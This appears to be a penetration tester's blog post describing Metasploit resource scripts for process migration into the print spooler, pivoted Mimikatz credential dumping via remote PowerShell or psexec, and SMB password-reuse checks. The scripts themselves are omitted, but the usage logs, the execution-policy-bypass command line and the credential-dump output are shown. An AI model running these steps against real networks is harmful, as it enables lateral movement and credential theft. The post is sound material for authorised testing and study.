A few Metasploit Post Exploit Resource Scripts

Some of this code is fairly ugly and copy/pasted between files. It is meant for one-offs within a pentest, not necessarily extended and built on. Still, it’s been useful and it might be helpful for those wanting to automate similar things. Plus it was built for real, not just in a lab, so at least it works sometimes :)

Spooler Migrate

[code]

This was inspired (and some bits copied) from the smart_migrate module. smart_migrate migrates to explorer.exe or starts an instance. Sometimes this isn’t what you want to do. Say you’re running as system – explorer likely is not running in this context, and starting it as system might be suspicious. Also, in my testing when meterpreter timed out it would crash the process you’re executing in, so sometimes it needed to be restarted (not to mention you might not want to migrate to something more critical for persistence).

This module checks if a print spooler is running and migrates it (and if it’s not started, it starts it, then migrates to it).

Usage Example:

meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM
meterpreter > background 
[*] Backgrounding session 1...
msf exploit(psexec) > setg SESSION 1
SESSION => 1
msf exploit(psexec) > resource spooler_migrate.rc 
[*] Processing spooler_migrate.rc for ERB directives.
[*] resource (spooler_migrate.rc)> Ruby Code (917 bytes)
[*] migrating to spooler
[*] done migrating
msf exploit(psexec) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getpid 
Current pid: 1248
meterpreter > ps

Process List
============

 PID   PPID  Name               Arch  Session     User                          Path
 ---   ----  ----               ----  -------     ----                          ----
 0     0     [System Process]         4294967295                                
...
 1248  488   spoolsv.exe        x86   0           NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe

It should not take much effort to customize the script, for example, to set it as autorun or to have it run on all sessions with system.

Pivoted Mimikatz through PS Remoting or PSExex

[code]

During a pentest, it’s fairly common to have code execution on one host and using that host to pivot. Behold, visio skillz

pivotpirate

Although it’s usually nicer to do everything through remote powershell, there are times when it’s not available. In those cases, it might be necessary to fall back on something else like psexec.

This script does the following

  1. Pivots through a session
  2. Port scans a few ports to see what services are up
  3. Runs mimikatz through remote powershell , if it’s available. This is better because the ps1 is never written to disk (this script writes powershell to our pivot box, but nothing ever touches the target box). See my coworker’s blog on the powershell details here.
  4. If remote powershell isn’t available, copy the powershell script over and psexec

Additionally, this script takes user/pass arguments. This is useful, for example, if you’re executing as SYSTEM on a box nobody’s logged into but you’d like to execute as code on another box as a domain user.

One obvious improvement is it could be parallized so you’re running on multiple hosts at once. This wasn’t an issue for me because my scale wasn’t that size, and this script should work fine for a few thousand hosts as long as you’re willing to let it run for a few hours.

msf exploit(psexec) > setg RHOST_FILE res_data/hostfile.txt
RHOST_FILE => res_data/hostfile.txt
msf exploit(psexec) > setg SESSION 1
SESSION => 1
msf exploit(psexec) > setg duser TEST.local\\mopey
duser => TEST.local\mopey
msf exploit(psexec) > setg dpass password
dpass => password
msf auxiliary(smb_enumshares) > resource mimikatz_remote.rc 
[*] Processing mimikatz_remote.rc for ERB directives.
[*] resource (mimikatz_remote.rc)> Ruby Code (8313 bytes)
#####################
# Beginning AD.rlundtest.local
#####################
#####################
# Routing through Session 1
#####################
SESSION => 1
HOSTNAME => AD.rlundtest.local

[*] AD.rlundtest.local resolves to 192.168.137.100
[*] Post module execution completed
NETMASK => 255.0.0.0
SUBNET => 192.168.137.100
[*] Running module against CLIENT5
[*] Adding a route to 192.168.137.100/255.0.0.0...
[*] Post module execution completed
#####################
# PORTSCANNING AD.rlundtest.local
#####################
RHOSTS => 192.168.137.100
PORTS => 5985,5986,445
[*] 192.168.137.100:5985 - TCP OPEN
[*] 192.168.137.100:445 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
AD.rlundtest.local
SMB is enabled. Use this if remote ps is disabled
Powershell looks enabled, using that rather than SMB
#####################
# Running Mimikatz on RLUNDTEST.local\mopey on  AD.rlundtest.local
#####################
uploading to C:\Windows\TEMP\hOllYmPh.ps1
uploading to /tmp/Invoke-ReflectivePEInjection.ps1.tmp
Executing the following command over remote powershell
cmd /c echo "." | powershell -Executionpolicy bypass -Command "& C:\Windows\TEMP\hOllYmPh.ps1  >> "C:\Windows\TEMP\snWgndjt"
saving output in /root/.msf4/logs/mimi/AD.rlundtest.local-20130927:233757.txt
Cleaning remote files
#####################
# Cleaning up: Resetting routes
#####################
msf auxiliary(tcp) > cat //root/.msf4/logs/mimi/AD.rlundtest.local-20130927:233757.txt
[*] exec: cat //root/.msf4/logs/mimi/AD.rlundtest.local-20130927:233757.txt

Authentication ID         : 0;996
Authentication Package    : Negotiate
Primary user              : AD$
Domain authentication     : RLUNDTEST
....

For the psexec part of this to work I submitted three pull requests to fix minor issues in how metasploit lists files. Two hav been accepted (1 2), but the other has not (at least not yet). Feel free to use that branch, or you could always use another psexec payload of your choice. The old psexec_command will also work for some payloads, they just can’t take a long time or return binary data.

This should be easy to customize and can be quite useful. Say you’d like to execute a powershell script through remote powershell, wmic, or psexec (in that order of preference) but don’t know what’s enabled. You can run a modified version of this script and hit a bunch of hosts.

Pivoting and Looking for Password Reuse between things

[code]

Another pivoting example. Say you’ve pwned one domain, like you’ve dumped the hashes from the domain controller, but want to check for password reuse on the second. This is a script for that type of scenario. Looking at the diagram below, you might say, but there’s a brick wall in front of pivot pirate. But aha, there are red arrows.

pivotpirate2

  1. Pivots through a session
  2. Picks a random host from a hostfile
  3. Checks port 445
  4. Runs smb_login through session

Usage is similar to the last couple scripts. Additionally, it could be sped up significantly if it were parallelized, but one hash at a time was plenty fast for my use.

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